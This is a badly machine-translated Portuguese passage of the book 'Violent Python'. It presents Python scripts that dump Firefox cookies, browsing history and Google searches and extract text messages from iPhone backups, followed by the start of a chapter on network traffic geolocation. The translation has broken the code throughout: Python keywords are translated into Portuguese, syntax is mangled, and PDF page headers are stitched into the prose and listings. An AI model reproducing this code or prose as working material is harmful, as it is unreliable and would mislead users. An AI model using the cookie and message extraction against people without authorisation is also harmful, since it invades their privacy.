se 'google' em url.lower ():
r = re.findall (r'q =. * \ & ', url)
Se R:
search = r [0] .Split ( 'e') [0]
search = search.replace ( 'q =', '') .replace ( '+', '')
print '[+]' + data + '­ Procurou Por:' + Pesquisa

Envolvê­lo todos juntos, agora temos funções para imprimir baixado fi les,
cookies, a história de um pro fi le, e até mesmo imprimir os termos um usuário Goggled.

Investigando artefatos de aplicativos com Python
113

A análise opção deve olhar muito semelhante ao nosso script para investigar o
Skype pro fi le banco de dados, a partir da secção anterior.
Você pode perceber o uso do os.path.join função ao criar o caminho completo
a um fi le e perguntar por que nós não apenas adicionar os valores de cadeia para o caminho eo
fi le juntos. O que nos impede de usar um exemplo como
downloadDB = nome do caminho + "\\ downloads.sqlite"
ao invés de
downloadDB = os.path.join (nome do caminho ", downloads.sqlite")
Considere o seguinte: O Windows utiliza um caminho fi le de C: \ Users \ <nome_do_usuário> \ enquanto
Linux e Mac OS usar um valor de caminho de algo semelhante a / home / <user_
nome> /. As barras que indicam diretórios ir em direções opostas ao abrigo
cada sistema operacional, e teríamos que dar conta de que ao criar
todo o caminho para o nosso fi lename. A biblioteca OS nos permite criar um operating­
script que irá funcionar no Windows, Linux independente de sistema e Mac OS.
Com essa barra lateral de lado, temos um roteiro de trabalho completo para fazer alguma gra­
investigações ous em um Firefox pro fi le. Para a prática, tente adicionar alguma adição
funções para esse script e modificá­lo para suas próprias investigações.

importação re
optparse importação
import os
sqlite3 importação
printDownloads def (downloadDB):
conn = sqlite3.connect (downloadDB)
C = conn.cursor ()
c.execute ( 'SELECT nome, origem, data e hora (endTime / 1000000, \
\ 'Unixepoch \') FROM moz_downloads; '
)
print '\ n [*] ­­­ ficheiros transferidos ­­­'
para linha em c:
print '[+] arquivo:' + str (row [0]) + 'da fonte:' \
+ Str (row [1]) + 'em:' + str (linha [2])
printCookies def (cookiesDB):
experimentar:
conn = sqlite3.connect (cookiesDB)
C = conn.cursor ()
c.execute ( 'SELECT anfitrião, nome, valor a partir moz_cookies')
print '\ n [*] ­ Biscoitos Encontrado ­'

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 79/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

114 CAPÍTULO 3: As investigações forenses com Python

para linha em c:
host = str (row [0])
name = str (row [1])
value = str (linha [2])
print '[+] Anfitrião:' + alojamento + ', Cookie:' + nome \
+ ', Valor: «Valor +
salvo exceção, e:
se 'criptografado' em str (e):
print '\ n [*] Erro ao ler os cookies de banco de dados.'
print '[*] Melhore a sua Python­Sqlite3 Biblioteca'
def printHistory (placesDB):
experimentar:
conn = sqlite3.connect (placesDB)
C = conn.cursor ()
c.execute ( "select url, data e hora (VISIT_DATE / 1000000, \
'Unixepoch') a partir de moz_places, moz_historyvisits \
onde VISIT_COUNT> 0 e moz_places.id == \
moz_historyvisits.place_id; ")
print '\ n [*] ­ História Encontrado ­'
para linha em c:
url = str (row [0])
date = str (row [1])
print '[+]' + data + '­ Visita:' + url
salvo exceção, e:
se 'criptografado' em str (e):
print '\ n [*] Erro ao ler os seus locais de banco de dados.'
print '[*] Melhore a sua Python­Sqlite3 Biblioteca'
exit (0)
def printGoogle (placesDB):
conn = sqlite3.connect (placesDB)
C = conn.cursor ()
c.execute ( "select url, data e hora (VISIT_DATE / 1000000, \
'Unixepoch') a partir de moz_places, moz_historyvisits \
onde VISIT_COUNT> 0 e moz_places.id == \
moz_historyvisits.place_id; ")
print '\ n [*] ­ Encontrado Google ­'
para linha em c:
url = str (row [0])
date = str (row [1])

Investigando artefatos de aplicativos com Python
115

se 'google' em url.lower ():
r = re.findall (r'q =. * \ & ', url)
Se R:
search = r [0] .Split ( 'e') [0]
search = search.replace ( 'q =', '') .replace ( '+', '')
print '[+]' + data + '­ Procurou Por:' + Pesquisa
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­p <Firefox perfil path>")
parser.add_option ( '­ p', dest = 'nome de caminho', type = 'string', \
help = 'especificar skype caminho do perfil')
(Opções, args) = parser.parse_args ()
PATHNAME = options.pathName
se PATHNAME == None:
parser.usage de impressão
exit (0)
elif os.path.isdir (nome do caminho) == False:
print '[!] caminho não existe:' + nome de caminho
exit (0)
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 80/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
outro:
downloadDB = os.path.join (nome de caminho, 'downloads.sqlite')
Se os.path.isfile (downloadDB):
printDownloads (downloadDB)
outro:
print '[!] Downloads Db não existe:' + downloadDB
cookiesDB = os.path.join (nome de caminho, 'cookies.sqlite')
Se os.path.isfile (cookiesDB):
printCookies (cookiesDB)
outro:
print '[!] Biscoitos Db não existe:' + cookiesDB
placesDB = os.path.join (nome de caminho, 'places.sqlite')
Se os.path.isfile (placesDB):
printHistory (placesDB)
printGoogle (placesDB)
outro:
print '[!] PlacesDb não existe:' + placesDB
se __name__ == '__main__':
a Principal()

116 CAPÍTULO 3: As investigações forenses com Python

Correndo o nosso script contra um usuário Firefox pro fi le sob investigação, vemos o
resultados. Na próxima seção, vamos usar as habilidades aprendidas nos dois primeiros
seções, mas expandir nosso conhecimento do SQLite por pesquisar através de um monte de feno
de bancos de dados para encontrar uma agulha.

investigador $ python parse­firefox.py ­p ~ / Library / Application \
Suporte / Firefox / Profiles / 5ab3jj51.default /
[*] ­­­ ­­­ Ficheiros transferidos
[ + ] Arquivo: ANONOPS_The_Press_Release.pdf da fonte:
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf em: 2011­12­14 05:54:31
[*] ­ Biscoitos Encontrado ­
[ + ] Anfitrião: .mozilla.org, Cookie: wtspl, Valor: 894.880
[ + ] Anfitrião: www.webassessor.com, Cookie: __utma, Valor:
1.224660440401.13211820353.1352185053.131218016553.1
[*] ­ História Encontrado ­
[ + ] 2011­11­20 16:28:15 ­ Visita: http://www.mozilla.com/en­US/
firefox / 8.0 / FirstRun /
[ + ] 2011­11­20 16:28:16 ­ Visita: http://www.mozilla.org/en­US/
firefox / 8.0 / FirstRun /
[*] ­ Encontrado Google ­
[ + ] 2011­12­14 05:33:57 ­ Procurou Por: O significado da vida?
[ + ] 2011­12­14 05:52:40 ­ Procurou Por: Pterodactyl
[ + ] 2011­12­14 05:59:50 ­ Procurou Por: fim Como foi perdida?

INVESTIGANDO BACKUPS ITUNES móvel com
PYTHON
Em abril de 2011, pesquisador de segurança e ex­funcionário da Apple Pete Warden
divulgou uma questão de privacidade com o popular operacional Apple iPhone / Ipad iOS
sistema (Warden, 2011). Após uma investigação significativa, o Sr. Warden revelou
prova de que o sistema operacional da Apple iOS realmente monitorado e gravado a
As coordenadas GPS do dispositivo e armazenados numa base de dados no telefone
chamado consolidated.db (Warden, 2011). Dentro deste banco de dados, uma tabela denominada Cell­
Localização continha os pontos de GPS do telefone tinha recolhidos. A determinação dispositivo
minadas as informações de localização por triangulação fora o telemóvel mais próximo
torres, a fim de prestar o melhor serviço para o usuário do dispositivo. No entanto, como o Sr.
Warden sugeriu, este mesmo dados poderiam ser utilizados de forma maliciosa para acompanhar todo o
movimentos um usuário do iPhone / iPad. Além disso, o processo utilizado para backup e
armazenar uma cópia do dispositivo móvel para um computador também registrou esta informação
ção. Enquanto a informação de gravação de localização tenha sido removido a partir do
Apple iOS funcionalidade do sistema operacional, o processo Sr. Warden usado para dis­
cobrir os dados permanecem. Nesta seção, vamos repetir esse processo para extrair

Investigando iTunes móveis Backups com Python 117

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 81/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

informações de iOS backups de dispositivos móveis. Especificamente, vamos extrair todos
as mensagens de texto fora de uma cópia de segurança iOS usando um script Python.
Quando um usuário executa um backup do seu dispositivo iPhone ou iPad, ele armazena fi les em
um diretório especial em sua máquina. Para o sistema operacional Windows,
o iTunes lojas de aplicativos que diretório de backup dispositivo móvel sob o
pro fi le diretório do usuário em C: \ Documents and Settings \ <username> \ aplicação
ção Data \ Apple Computer \ MobileSync \ Backup. No Mac OS X, este diretório
existe em / Users / <nome do usuário> Suporte / Library / Application / MobileSync /
Cópia de segurança/. A aplicação iTunes que faz o backup armazena dispositivos móveis tudo
backups de dispositivos nesses diretórios. Vamos examinar um backup recente de meu Apple
iPhone.
Examinando o diretório que armazena a cópia de segurança de diretório móvel, vemos que con­
tém mais de 1000 inutilmente chamado fi les. Cada fi le contém uma sequência única
de 40 caracteres que fornecem absolutamente nenhuma descrição do material armazenado
na especi fi c fi le.

investigador $ ls
68b16471ed678a3a470949963678d47b7a415be3
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f
68b16471ed678a3a470949963678d47b7a415be3
68d321993fe03f7fe6754f5f4ba15a9893fe38db
69005cb27b4af77b149382d1669ee34b30780c99
693a31889800047f02c64b0a744e68d2a2cff267
6957b494a71f191934601d08ea579b889f417af9
698b7961028238a63d02592940088f232d23267e
6a2330120539895328d6e84d5575cf44a082c62d
<.. Cortou ..>

Para obter um pouco mais de informação sobre cada fi le, vamos usar o com­ UNIX
mand fi le para extrair o tipo fi le de cada fi le. Este comando usa o primeiro fi cação
tificando bytes de um cabeçalho e rodapé fi le para determinar o tipo fi le. Isto fornece
­nos um pouco mais de informação, como podemos ver que o diretório de backup con­ móvel
tém alguns bancos de dados sqlite3, imagens JPEG, os dados brutos, e de texto ASCII fi les.

arquivo $ investigador *
68b16471ed678a3a470949963678d47b7a415be3: dados
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f: banco de dados SQLite 3.x
dados de imagem JPEG: 68b16471ed678a3a470949963678d47b7a415be3
68d321993fe03f7fe6754f5f4ba15a9893fe38db: dados de imagem JPEG
69005cb27b4af77b149382d1669ee34b30780c99: dados de imagem JPEG
banco de dados SQLite 3.x: 693a31889800047f02c64b0a744e68d2a2cff267
banco de dados SQLite 3.x: 6957b494a71f191934601d08ea579b889f417af9

118 CAPÍTULO 3: As investigações forenses com Python

698b7961028238a63d02592940088f232d23267e: dados de imagem JPEG
6a2330120539895328d6e84d5575cf44a082c62d: texto ASCII Inglês
<.. Cortou ..>
Enquanto o fi le comando faz deixe­nos saber que algumas das fi les conter SQLite
bases de dados, ele faz muito pouco para descrever o conteúdo em cada banco de dados. Nós vamos
usar um script Python para enumerar rapidamente todas as tabelas em cada banco de dados encontrado
em todo o diretório de backup móvel. Observe que vamos voltar a utilizar o
ligações sqlite3 Python em nosso script de exemplo. Nosso script lista o conteúdo
do diretório de trabalho e, em seguida, tenta fazer uma conexão com o banco de
cada fi le. Para aqueles que conseguem fazer uma ligação, o script executa o
comando
Tbl_name SELECT FROM sqlite_master ONDE tipo == 'table'
Cada banco de dados SQLite mantém uma tabela chamada sqlite_master que contém o
estrutura de base de dados global, que mostra o esquema geral da base de dados. o
comando anterior nos permite enumerar o esquema do banco de dados.
import os, sqlite3
printTables def (iphoneDB):
experimentar:
conn = sqlite3.connect (iphoneDB)
C = conn.cursor ()
c.execute ( 'SELECT tbl_name DE sqlite_master \
ONDE tipo == \ "table \"; ')
print "\ n [*] Base de dados:" + iphoneDB
para linha em c:
print "[­] Table:" + str (linha)
exceto:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 82/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
passar
conn.close ()
DIRlist = os.listdir (os.getcwd ())
para fileName em DIRlist:
printTables (nome do arquivo)
Correndo o nosso roteiro, enumeramos o esquema de todos os bancos de dados em nossa
diretório de backup móvel. Enquanto o script não achar vários bancos de dados, temos
cortou a saída para mostrar uma base de dados fi c específica de preocupação. Observe que o fi le
d0d7e5fb2ce288813306e4d4636395e047a3d28 contém um banco de dados SQLite
com uma tabela chamada mensagens . Esta base de dados contém uma lista de o texto sagem
sábios armazenados no backup do iPhone.

investigador listTables.py $ python
<.. Cortou ...>

Investigando iTunes móveis Backups com Python 119

[*] Base de dados: 3939d33868ebfe3743089954bf0e7f3a3a1604fd
[­] Tabela: (u'ItemTable ',)
[*] Base de dados: d0d7e5fb2ce288813306e4d4636395e047a3d28
[­] Table: (u'_SqliteDatabaseProperties ',)
[­] Tabela: (u'message ',)
[­] Tabela: (u'sqlite_sequence ',)
[­] Tabela: (u'msg_group ',)
[­] Tabela: (u'group_member ',)
[­] Table: (u'msg_pieces ',)
[­] Tabela: (u'madrid_attachment ',)
[­] Tabela: (u'madrid_chat ',)
[*] Base de dados: 3de971e20008baa84ec3b2e70fc171ca24eb4f58
[­] Tabela: (u'ZFILE ',)
[­] Table: (u'Z_1LABELS ',)
<.. Cortou ..>
Embora nós sabemos agora que o banco de dados SqlLite fi le d0d7e5fb2ce288813
306e4d4636395e047a3d28 contém o banco de dados de mensagens de texto, queremos
ser capaz de automatizar a investigação sobre backups diferentes. Para executar isso,
podemos escrever uma função simples chamada isMessageTable () . Esta função irá con­
necte a um banco de dados e enumerar o esquema de informações do banco de dados.
Se o fi le contém uma tabela chamada mensagens, ele retorna True. Caso contrário, a função
retorna False. Agora nós temos a capacidade de digitalizar rapidamente um diretório de milhares
de fi les e determinar qual especi fi c fi le contém o banco de dados SQLite que
contém as mensagens de texto.

def isMessageTable (iphoneDB):
experimentar:
conn = sqlite3.connect (iphoneDB)
C = conn.cursor ()
c.execute ( 'SELECT tbl_name DE sqlite_master \
ONDE tipo == \ "table \"; ')
para linha em c:
se "mensagem" em str (linha):
retornar True
exceto:
retornar False

Agora que podemos localizar o banco de dados de mensagem de texto, queremos ser capaz de imprimir
os dados contidos no banco de dados fi­especi camente a data, endereço e texto sagens
sábios. Para fazer isso, vamos conectar ao banco de dados e executar o comando

120 CAPÍTULO 3: As investigações forenses com Python

'Escolha de data e hora (data, \' unixepoch \ '), endereço, texto de mensagem ONDE
address> 0; '

Podemos, então, imprimir os resultados desta consulta para a tela. Aviso, usaremos
alguns manipulação de exceção. No caso em que isMessageTable () devolvido um data­
base que não é o nosso banco de dados de mensagem de texto real, não irá conter a ne­

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 83/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
colunas neces­: dados, endereço e texto. Se nós agarramos o banco de dados errado
erro, vamos permitir que o script para capturar a exceção e continuar executando
até que o banco de dados correto seja encontrado.
def printMessage (msgDB):
experimentar:
conn = sqlite3.connect (msgDB)
C = conn.cursor ()
c.execute ( 'select data e hora (data, \' unixepoch \ '), \
endereço, texto de mensagem ONDE endereço> 0; ')
para linha em c:
date = str (row [0])
addr = str (row [1])
text = linha [2]
print '\ n [+] Data:' + data + ', Addr:' + endereço \
+ 'Mensagem:' + texto
exceto:
passar

Embalagem as funções isMessageTable () e printMessage () juntos, podemos
agora construir o roteiro final. Nós vamos adicionar alguma opção de análise para o script
para incluir a análise do diretório de backup do iPhone como uma opção. Em seguida, vamos listar
o conteúdo desse diretório e testar cada fi le até achar a mensagem de texto
banco de dados. Uma vez, encontramos este fi le, podemos imprimir o conteúdo do banco de dados para
a tela.
import os
sqlite3 importação
optparse importação
def isMessageTable (iphoneDB):
experimentar:
conn = sqlite3.connect (iphoneDB)
C = conn.cursor ()
c.execute ( 'SELECT tbl_name DE sqlite_master \
ONDE tipo == \ "table \"; ')
para linha em c:

Investigando iTunes móveis Backups com Python 121

se "mensagem" em str (linha):
retornar True
exceto:
retornar False
def printMessage (msgDB):
experimentar:
conn = sqlite3.connect (msgDB)
C = conn.cursor ()
c.execute ( 'select data e hora (data, \' unixepoch \ '), \
endereço, texto de mensagem ONDE endereço> 0; ')
para linha em c:
date = str (row [0])
addr = str (row [1])
text = linha [2]
print '\ n [+] Data:' + data + ', Addr:' + endereço \
+ 'Mensagem:' + texto
exceto:
passar
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­p <Diretório de backup iPhone>")
parser.add_option ( '­ p', dest = "nome do caminho", \
type = 'string', help = 'especificar skype caminho do perfil')
(Opções, args) = parser.parse_args ()
PATHNAME = options.pathName
se PATHNAME == None:
parser.usage de impressão
exit (0)
outro:
DIRlist = os.listdir (nome do caminho)
para fileName em DIRlist:
iphoneDB = os.path.join (nome do caminho, nome de arquivo)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 84/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Se isMessageTable (iphoneDB):
experimentar:
print '\ n [*] ­­­ mensagens encontradas ­­­'
printMessage (iphoneDB)
exceto:
passar

122 CAPÍTULO 3: As investigações forenses com Python

se __name__ == '__main__':
a Principal()

Executar o script contra um diretório de backup do iPhone, podemos ver os resultados
contra alguns recentes mensagens de texto armazenados no backup do iPhone.
investigador $ python iphoneMessages.py ­p ~ / Library / Application \
Suporte / MobileSync / Backup / 192fd8d130aa644ea1c644aedbe23708221146a8 /
[*] ­­­ ­­­ Mensagens encontradas
[+] Data: 2011­12­25 03:03:56, Addr: 55555554333 Mensagem: Feliz
feriados, irmão.
[+] Data: 2011­12­27 00:03:55, Addr: 55555553274 Mensagem: Você não funcionavam
responder à minha mensagem, que você ainda está trabalhando sobre o livro?
[+] Data: 2011­12­27 00:47:59, Addr: 55555553947 Mensagem: Quick
pergunta, devo excluir backups de dispositivos móveis no iTunes?
<.. Cortou ..>

CAPÍTULO WRAP­UP
Parabéns novamente! Temos escrito algumas ferramentas neste capítulo para
investigar artefatos digitais. Quer por investigar o Registro do Windows, o
Lixeira, artefatos deixados no interior de metadados, ou bancos de dados armazenados pelo aplicativo, nós
adicionou algumas ferramentas úteis para o nosso arsenal. Com sorte, você será capaz
construir sobre cada um dos exemplos neste capítulo para responder a perguntas em sua
próprias investigações futuras.

Referências
Brilhante, P. (2011). Microsoft bloqueia serviço de geolocalização Wi­Fi depois de preocupações com a privacidade. Ars Tech­
nica . Obtido a partir <http://arstechnica.com/microsoft/news/2011/08/microsoft­locks­down­
wi­fi local de serviço após­Privacidade­concerns.ars>,De Agosto de 2.
Geolocation API. (2009). Google Código . Retirado de <code.google.com/apis/gears/api_geoloca­
tion.html>,Maio de 29.
kosi2801. (2009). Brincalhão com o Skype 4.0 do banco de dados . BPI Inside. Obtido em <http: // kosi2801.
freepgs.com/2009/12/03/messing_with_the_skype_40_database.html>,De Dezembro de 3.
Leyden, J. (2010). A polícia grega algemá Anonymous porta­voz do suspeito. O Register . Retirado de
<Www.theregister.co.uk/2010/12/16/anonymous_arrests/>, 16 de dezembro.
Mozilla Firefox 3 História File Format. (2011). Forensics Wiki . Retirado de <www.forensicswiki.
org / wiki / Mozilla_Firefox_3_History_File_Format>,De Setembro de 13 anos.
Petrovski, G. (2011). mac­geolocation.nse. seclists.org. Retirado de <seclists.org/nmap­
dev / 2011 / Q2 / att­735 / mac­geolocation.nse>.

Referências 123

"Prefeito". (2010). Anonymous divulga comunicado de imprensa muito unanonymous. Praetorian prefeito . Retirado
de <praetorianprefect.com/archives/2010/12/anonymous­releases­very­unanonymous­
press­release />,De Dezembro de 10º.
Regan, B. (2006). Computação forense: A nova fi ngerprinting. Populares mecânica . Retirado de
<Http://www.popularmechanics.com/technology/how­to/computer­security/2672751>, 21 de abril.
Shapiro, A. (2007). Polícia usa DNA para rastrear suspeitos através da família. National Public Radio
(NPR). Retirado de <http://www.npr.org/templates/story/story.php?storyId = 17130501>,
27 de Dezembro.
Warden, P. (2011). iPhoneTracker. GitHub. Retirado de <petewarden.github.com/iPhone­
Rastreador />, março.
Usuários de SQLite bem conhecido. (2012). SQLite Home Page. Retirado de <http://www.sqlite.org/
famous.html>,De Fevereiro de 1.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 85/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

CAPÍTULO 4

Rede Traf fi c Análise com Python

Informações neste capítulo: CONTEÚDO

■  Geo­Localize Internet Protocol (IP) Traf fi c Introdução:
operação Aurora
■  Descubra maliciosos DDoS Toolkits e como o
■  Revelar Decoy rede Scans óbvia era
■  Analisar Tempestade Fast­Flux e Con fi de cker Domínio Flux Perdeu ..................... 125
■  Compreender o TCP Sequence Previsão Ataque Onde é que o IP
■  Folha de Intrusão Detecção de Sistemas Com Crafted Pacotes Tráfego indo? ­A
Python Resposta ....... 126
Usando PyGeoIP para
Correlacionar IP de Física
Em vez de ser confinada a uma dimensão separada, artes marciais deveLocais ........................ 127
Usando Dpkt para analisar
ser uma extensão do nosso modo de viver, de nossas filosofias, da maneira que nós
Pacotes ........................... 128
educar os nossos filhos, do trabalho que dedicam muito do nosso tempo para, de
Usando Python para construir
os relacionamentos que cultivamos, e das escolhas que fazemos todos os dias.
um mapa do Google ................. 132
­Daniele Bolelli, Autor, quarto grau Black Belt em Kung Fu San Soo
É Anonymous Realmente
Anônimo?
LOIC análise
INTRODUÇÃO: Operação Aurora E COMO Tráfego ....................... 135
O ÓBVIO foi perdida Usando Dpkt Encontrar
o LOIC Baixar ....... 135
Em 14 de janeiro de 2010, os Estados Unidos aprenderam de uma forma coordenada, sofisticado,
Analisando comandos de IRC
ao Hive ...................... 137
e ataque informática prolongada que teve como alvo Google, Adobe e mais de 30 Para­
Identificar os DDoS
sintonizar 100 empresas (Binde, McRee, e O'Connor, 2011). chamada de Operação
Ataque em andamento ......... 138
Aurora depois de uma pasta encontrada em uma máquina infectada, o ataque utilizado um romance
explorar invisível antes na natureza. Embora a Microsoft sabia da vulnerabi­Como HD Moore
resolvido o
dade explorado no ataque, eles falsamente assumido que ninguém mais sabia do
Pentágono
vulnerabilidade e, portanto, não há mecanismos para detectar existia um tal ataque.
Dilema .................. 143

125

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 86/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00004­1
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

126 CAPÍTULO 4: Análise de tráfego de rede com Python

Compreender o Para explorar suas vítimas, os agressores iniciado o ataque, enviando as vítimas um
TTL campo ........................ 144enviar e­mail com um link para um site de Taiwan com malicioso JavaScript (Binde, McRee,
Analisando Campos TTL
com scapy ...................... 146
& O'Connor, 2011). Quando os usuários clicaram em o link, que seria baixar um
pedaço de malware que ligava de volta para um servidor de comando e controle localizado
Fast­Flux tempestade na China (Zetter, 2010). A partir daí, os atacantes usaram seu acesso recém­adquirida
e Conficker de
para caçar informações confidenciais armazenados nos sistemas das vítimas exploradas.
Domain­Flux ............ 149
Será que o seu DNS Saber Por mais óbvio que este ataque parece, ele não foi detectado durante vários meses e
Algo que você não? ... 150
conseguiram penetrar os repositórios de código fonte de vários Fortune 100
Usando scapy para analisar
empresas. Mesmo um pedaço rudimentar de software de visualização de rede pode
O tráfego DNS ..................... 151
Detectando de fast flux ter identificado esse comportamento. Por que um baseado em US Fortune 100, a companhia
Tráfego com scapy .......... 152 ter vários usuários conectados a uma especi fi website c em Taiwan e depois novamente
Detectando Flux Domínio para um servidor de c fi específico localizado na China? Um mapa visual que mostrou usuários li­
Tráfego com scapy .......... 153
ing para Taiwan e China, com frequência significativa poderia ter permitido
Kevin Mitnick e os administradores de rede para investigar o ataque mais cedo e pará­lo antes do
TCP Sequence informação proprietária foi perdido.
Previsão ................ 154
Seu Próprio TCP Nas seções seguintes, vamos examinar usando Python para analisar diferentes
Previsão sequência ...... 155 ataques, a fim de analisar rapidamente através de enormes volumes de dados díspares
A elaboração de uma SYN Flood
pontos. Vamos começar a investigação através da construção de um script para analisar visualmente
com scapy ...................... 156
calculando TCP
tráfego de rede fi c, algo que os administradores da Fortune 100 vitimados
Sequência Números ........ 157 empresas poderia ter usado durante a Operação Aurora.
Spoofing TCP
Connection ..................... 159

foiling Intrusion ONDE é que o tráfego IP indo? ­A PYTHON
Sistemas de detecção RESPONDA
com scapy ............... 162
Para começar, devemos como correlacionar um endereço Internet Protocol (IP) para
Capítulo Wrap Up .... 168
um local físico. Para fazer isso, vamos contar com um banco de dados disponível gratuitamente em
Referências ............... 168
MaxMind, Inc. Embora MaxMind oferece vários produtos comerciais precisas,
seu banco de dados GeoLiteCity open­source disponível em http://www.maxmind.com/
app / geolitecityoferece ­nos o suficiente fidelidade para correlacionar IP endereços para cidades. Uma vez
o banco de dados já foi baixado, é preciso descompactá­lo e movê­lo para um
local, como /opt/GeoIP/Geo.dat.
analista # wget http://geolite.maxmind.com/download/geoip/database/
GeoLiteCity.dat.gz
­­2012­03­17 09: 02: 20­­ http://geolite.maxmind.com/download/geoip/
database / GeoLiteCity.dat.gz
Resolver geolite.maxmind.com ... 174.36.207.186
Ligar a geolite.maxmind.com | 174.36.207.186 |: 80 ... conectado.
solicitação HTTP enviada, aguardando resposta ... 200 OK
Duração: 9866567 (9.4M) [text / plain]
Salvando em: 'GeoLiteCity.dat.gz'

Onde é que o tráfego IP Headed? ­A Python Resposta 127

100% [=============================================== =
================================================== ==
================================================== >]
9,866,567 724K / s em 15s K
2012­03­17 09:02:36 (664 KB / s) ­ 'GeoLiteCity.dat.gz "salvo
[9866567/9866567]
analista # gunzip GeoLiteCity.dat.gz
analista # mkdir / opt / GeoIP
analista # mv GeoLiteCity.dat /opt/GeoIP/Geo.dat

Com o banco de dados GeoCityLite, podemos correlacionar um endereço IP para um estado, postal
código, nome de país, e latitude e longitude geral. Tudo isso
será útil na análise de IP tráfego fi c.

Usando PyGeoIP correlacionar IP para localizações físicas
Jennifer Ennis produzida uma biblioteca Python puro para consultar a data­ GeoLiteCity
base. Sua biblioteca pode ser descarregado a partir http://code.google.com/p/pygeoip/
e instalado antes de importá­lo para um script Python. Note­se que vamos primeiro
instanciar uma classe GeoIP com a localização do nosso banco de dados não compactado. Próximo
que irá consultar o banco de dados para um registro fi c determinada, especificando o endereço IP. este

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 87/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
retorna um registro que contém campos para cidade, region_name, postal_code, país
try_name, latitude e longitude, entre outras informações capazes identi fi.
pygeoip importação
gi = pygeoip.GeoIP ( '/ opt / GeoIP / Geo.dat')
def printRecord (TGT):
rec = gi.record_by_name (TGT)
city ​
= rec [ "cidade"]

region = rec [ 'region_name']
country = rec [ 'country_name']
long = rec [ 'longitude']
lat = rec [ 'latitude']
print '[*] Alvo:' + tgt + 'Geo­localizados. '
print '[+]' + str (cidade) + "," + str (região) + "," + str (país)
print '[+] Latitude: "+ str (lat) +', Longitude: '+ str (long)
TGT = '173.255.226.98'
printRecord (TGT)

A execução do script, vemos que ela produz saída mostrando o alvo IP do
localização física em Jersey City, NJ, Estados Unidos, com a latitude e longitude 40,7245
­ . 74,0621 Agora que nós são capazes de correlacionar um IP para um físico endereço, vamos
começar a escrever nosso script de análise.

128 CAPÍTULO 4: Análise de tráfego de rede com Python

analista printGeo.py # python
[*] Alvo: 173.255.226.98 Geo­localizados.
[+] Jersey City, NJ, Estados Unidos
[+] Latitude: 40,7245, Longitude: ­ 74,0621

Usando Dpkt para analisar pacotes
No capítulo seguinte, usaremos principalmente a manipulação de pacotes scapy
kit de ferramentas de análise e pacotes de artesanato. Nesta seção, vamos usar um kit de ferramentas em separado,
dpkt, para analisar pacotes. Enquanto scapy oferece recursos tremendos, principiante
os usuários muitas vezes achar as instruções para instalá­lo no Mac OS X e Windows
extremamente complicada. Em contraste, dpkt é bastante simples: ele pode ser baixado
de http://code.google.com/p/dpkt/ e instalado facilmente. Ambos oferecem semelhante
capacidades, mas sempre se mostrou útil para manter um arsenal de ferramentas semelhantes.
Após Dug Canção criado inicialmente dpkt, Jon Oberheide acrescentou um monte de adicional
capacidades para analisar diferentes protocolos, como FTP, H.225, SCTP, BPG, e
IPv6.
Para este exemplo, vamos supor que gravou uma captura de rede pcap que nós
gostaria de analisar. Dpkt nos permite percorrer cada pacote indivíduo
na captura e examinar cada camada de protocolo do pacote. Embora nós sim­
ply ler um PCAP pré­capturados neste exemplo, nós poderia facilmente analisar
viver tráfego fi c usando pypcap, disponível em http://code.google.com/p/pypcap/. Para
ler um pcap fi le, que instanciar o fi le, criar um objeto de classe pcap.reader e
em seguida, passar esse objeto para a nossa função printPcap (). O objecto contém uma pcap
matriz de registros contendo o [timestamp, pacote]. Podemos, então, quebrar cada
